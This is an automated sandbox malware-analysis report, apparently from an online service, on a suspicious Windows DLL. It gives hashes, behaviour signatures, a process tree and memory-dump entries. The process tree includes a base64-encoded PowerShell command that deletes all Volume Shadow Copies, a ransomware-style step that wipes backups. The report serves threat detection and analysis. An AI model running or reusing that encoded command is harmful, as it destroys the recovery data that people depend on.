Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    30-01-2022 07:38

General

  • Target

    fd4363b4f508b066bec54f0980c0d58c12248c95b0a021ca02054738bc0da94d.dll

  • Size

    166KB

  • MD5

    084c5115e946636ef03e8a555b6bf060

  • SHA1

    e9f9c357dd08e653ee7ffd17943773327a18c93f

  • SHA256

    fd4363b4f508b066bec54f0980c0d58c12248c95b0a021ca02054738bc0da94d

  • SHA512

    40d651021c4a3058d1c726bcfaea94c70c7d6fe9ffa3e3cd19db058864c018a32e26fefa3f70ddb635cb1ec31afb958112c87e2ee1e6cb1c838e8ee2a28088b6

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\fd4363b4f508b066bec54f0980c0d58c12248c95b0a021ca02054738bc0da94d.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1472
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\fd4363b4f508b066bec54f0980c0d58c12248c95b0a021ca02054738bc0da94d.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:524
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:636
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1544

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/524-55-0x000007FEFC081000-0x000007FEFC083000-memory.dmp

      Filesize

      8KB

    • memory/524-58-0x00000000028E2000-0x00000000028E4000-memory.dmp

      Filesize

      8KB

    • memory/524-57-0x00000000028E0000-0x00000000028E2000-memory.dmp

      Filesize

      8KB

    • memory/524-59-0x00000000028E4000-0x00000000028E7000-memory.dmp

      Filesize

      12KB

    • memory/524-56-0x000007FEF33E0000-0x000007FEF3F3D000-memory.dmp

      Filesize

      11.4MB

    • memory/524-60-0x000000001B7B0000-0x000000001BAAF000-memory.dmp

      Filesize

      3.0MB

    • memory/524-61-0x00000000028EB000-0x000000000290A000-memory.dmp

      Filesize

      124KB

    • memory/964-54-0x0000000075D61000-0x0000000075D63000-memory.dmp

      Filesize

      8KB